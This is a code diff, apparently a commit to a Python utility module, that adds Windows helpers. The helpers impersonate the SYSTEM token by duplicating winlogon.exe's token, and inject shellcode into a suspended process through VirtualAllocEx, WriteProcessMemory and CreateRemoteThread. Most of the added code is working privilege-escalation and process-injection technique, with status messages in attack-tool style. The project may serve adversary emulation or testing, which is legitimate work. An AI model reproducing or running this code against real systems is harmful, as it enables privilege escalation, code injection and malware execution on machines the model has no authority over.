|
24 | 24 | from typing import Iterable, Optional, Union
|
25 | 25 |
|
26 | 26 |
|
| 27 | + |
| 28 | + |
27 | 29 | from http.server import HTTPServer, SimpleHTTPRequestHandler
|
28 | 30 |
|
29 | 31 | long_t = type(1 << 63)
|
@@ -67,6 +69,60 @@ def get_winreg():
|
67 | 69 | if CURRENT_OS == WINDOWS:
|
68 | 70 | CMD_PATH = os.environ.get("COMSPEC")
|
69 | 71 | POWERSHELL_PATH = "C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\powershell.exe"
|
| 72 | + import ctypes |
| 73 | + import win32process |
| 74 | + import win32file |
| 75 | + import win32service |
| 76 | + import win32api, win32security |
| 77 | + from ctypes import byref, windll, wintypes |
| 78 | + from ctypes.wintypes import BOOL |
| 79 | + from ctypes.wintypes import DWORD |
| 80 | + from ctypes.wintypes import HANDLE |
| 81 | + from ctypes.wintypes import LPVOID |
| 82 | + from ctypes.wintypes import LPCVOID |
| 83 | + # Windows related constants and classes |
| 84 | + TH32CS_SNAPPROCESS = 0x00000002 |
| 85 | + PROCESS_QUERY_LIMITED_INFORMATION = 0x1000 |
| 86 | + TOKEN_DUPLICATE = 0x0002 |
| 87 | + TOKEN_ALL_ACCESS = 0xf00ff |
| 88 | + MAX_PATH = 260 |
| 89 | + BOOL = ctypes.c_int |
| 90 | + DWORD = ctypes.c_uint32 |
| 91 | + HANDLE = ctypes.c_void_p |
| 92 | + LONG = ctypes.c_int32 |
| 93 | + NULL_T = ctypes.c_void_p |
| 94 | + SIZE_T = ctypes.c_uint |
| 95 | + TCHAR = ctypes.c_char |
| 96 | + USHORT = ctypes.c_uint16 |
| 97 | + UCHAR = ctypes.c_ubyte |
| 98 | + ULONG = ctypes.c_uint32 |
| 99 | + |
| 100 | + class PROCESSENTRY32(ctypes.Structure): |
| 101 | + _fields_ = [ |
| 102 | + ('dwSize', DWORD), |
| 103 | + ('cntUsage', DWORD), |
| 104 | + ('th32ProcessID', DWORD), |
| 105 | + ('th32DefaultHeapID', NULL_T), |
| 106 | + ('th32ModuleID', DWORD), |
| 107 | + ('cntThreads', DWORD), |
| 108 | + ('th32ParentProcessID', DWORD), |
| 109 | + ('pcPriClassBase', LONG), |
| 110 | + ('dwFlags', DWORD), |
| 111 | + ('szExeFile', TCHAR * MAX_PATH) |
| 112 | + ] |
| 113 | + |
| 114 | + LPCSTR = LPCTSTR = ctypes.c_char_p |
| 115 | + LPDWORD = PDWORD = ctypes.POINTER(DWORD) |
| 116 | + |
| 117 | + class _SECURITY_ATTRIBUTES(ctypes.Structure): |
| 118 | + _fields_ = [('nLength', DWORD), |
| 119 | + ('lpSecurityDescriptor', LPVOID), |
| 120 | + ('bInheritHandle', BOOL), ] |
| 121 | + |
| 122 | + SECURITY_ATTRIBUTES = _SECURITY_ATTRIBUTES |
| 123 | + LPSECURITY_ATTRIBUTES = ctypes.POINTER(_SECURITY_ATTRIBUTES) |
| 124 | + LPTHREAD_START_ROUTINE = LPVOID |
| 125 | + |
70 | 126 | else:
|
71 | 127 | CMD_PATH = "/bin/sh"
|
72 | 128 | POWERSHELL_PATH = None
|
@@ -669,3 +725,88 @@ def print_file(path):
|
669 | 725 | print(f.read().rstrip())
|
670 | 726 |
|
671 | 727 | print("")
|
| 728 | + |
| 729 | + |
| 730 | +# return pid by process.name |
| 731 | +@requires_os('windows') |
| 732 | +def getppid(pname): |
| 733 | + CreateToolhelp32Snapshot = ctypes.windll.kernel32.CreateToolhelp32Snapshot |
| 734 | + Process32First = ctypes.windll.kernel32.Process32First |
| 735 | + Process32Next = ctypes.windll.kernel32.Process32Next |
| 736 | + CloseHandle = ctypes.windll.kernel32.CloseHandle |
| 737 | + |
| 738 | + hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0) |
| 739 | + pe32 = PROCESSENTRY32() |
| 740 | + pe32.dwSize = ctypes.sizeof(PROCESSENTRY32) |
| 741 | + current_pid = os.getpid() |
| 742 | + |
| 743 | + |
| 744 | + if Process32First(hProcessSnap, ctypes.byref(pe32)) == 0: |
| 745 | + print(f"[x] - Failed getting first process.") |
| 746 | + return |
| 747 | + |
| 748 | + while True: |
| 749 | + procname = pe32.szExeFile.decode("utf-8").lower() |
| 750 | + if pname.lower() in procname: |
| 751 | + CloseHandle(hProcessSnap) |
| 752 | + return pe32.th32ProcessID |
| 753 | + if not Process32Next(hProcessSnap, ctypes.byref(pe32)): |
| 754 | + CloseHandle(hProcessSnap) |
| 755 | + return None |
| 756 | + |
| 757 | +@requires_os('windows') |
| 758 | +def impersonate_system(): |
| 759 | + try: |
| 760 | + hp = win32api.OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, 0, getppid("winlogon.exe")) |
| 761 | + th = win32security.OpenProcessToken(hp, TOKEN_DUPLICATE) |
| 762 | + new_tokenh = win32security.DuplicateTokenEx(th, 2, TOKEN_ALL_ACCESS , win32security.TokenImpersonation , win32security.SECURITY_ATTRIBUTES()) |
| 763 | + win32security.ImpersonateLoggedOnUser(new_tokenh) |
| 764 | + print(f"[+] - Impersonated System Token via Winlogon") |
| 765 | + win32api.CloseHandle(hp) |
| 766 | + except Exception as e: |
| 767 | + print(f"[x] - Failed To Impersonate System Token via Winlogon") |
| 768 | + |
| 769 | +@requires_os('windows') |
| 770 | +def Inject(path, shellcode): |
| 771 | + import ctypes, time |
| 772 | + import ctypes.wintypes |
| 773 | + |
| 774 | + from ctypes.wintypes import BOOL |
| 775 | + from ctypes.wintypes import DWORD |
| 776 | + from ctypes.wintypes import HANDLE |
| 777 | + from ctypes.wintypes import LPVOID |
| 778 | + from ctypes.wintypes import LPCVOID |
| 779 | + import win32process |
| 780 | + # created suspended process |
| 781 | + info = win32process.CreateProcess(None, path, None, None, False, 0x04, None, None, win32process.STARTUPINFO()) |
| 782 | + page_rwx_value = 0x40 |
| 783 | + process_all = 0x1F0FFF |
| 784 | + memcommit = 0x00001000 |
| 785 | + |
| 786 | + if info[0].handle > 0 : |
| 787 | + print(f"[+] - Created {path} Suspended") |
| 788 | + shellcode_length = len(shellcode) |
| 789 | + process_handle = info[0].handle # phandle |
| 790 | + VirtualAllocEx = windll.kernel32.VirtualAllocEx |
| 791 | + VirtualAllocEx.restype = LPVOID |
| 792 | + VirtualAllocEx.argtypes = (HANDLE, LPVOID, DWORD, DWORD, DWORD) |
| 793 | + |
| 794 | + WriteProcessMemory = ctypes.windll.kernel32.WriteProcessMemory |
| 795 | + WriteProcessMemory.restype = BOOL |
| 796 | + WriteProcessMemory.argtypes = (HANDLE, LPVOID, LPCVOID, DWORD, DWORD) |
| 797 | + CreateRemoteThread = ctypes.windll.kernel32.CreateRemoteThread |
| 798 | + CreateRemoteThread.restype = HANDLE |
| 799 | + CreateRemoteThread.argtypes = (HANDLE, LPSECURITY_ATTRIBUTES, DWORD, LPTHREAD_START_ROUTINE, LPVOID, DWORD, DWORD) |
| 800 | + |
| 801 | + # allocate RWX memory |
| 802 | + lpBuffer = VirtualAllocEx(process_handle, 0, shellcode_length, memcommit, page_rwx_value) |
| 803 | + print(f'[+] - Allocated remote memory at {hex(lpBuffer)}') |
| 804 | + |
| 805 | + # write shellcode in allocated memory |
| 806 | + res = WriteProcessMemory(process_handle, lpBuffer, shellcode, shellcode_length, 0) |
| 807 | + if res > 0 : |
| 808 | + print('[+] - Shellcode written.') |
| 809 | + |
| 810 | + # create remote thread to start shellcode execution |
| 811 | + CreateRemoteThread(process_handle, None, 0, lpBuffer, 0, 0, 0) |
| 812 | + print('[+] - Shellcode Injection, done.') |
0 commit comments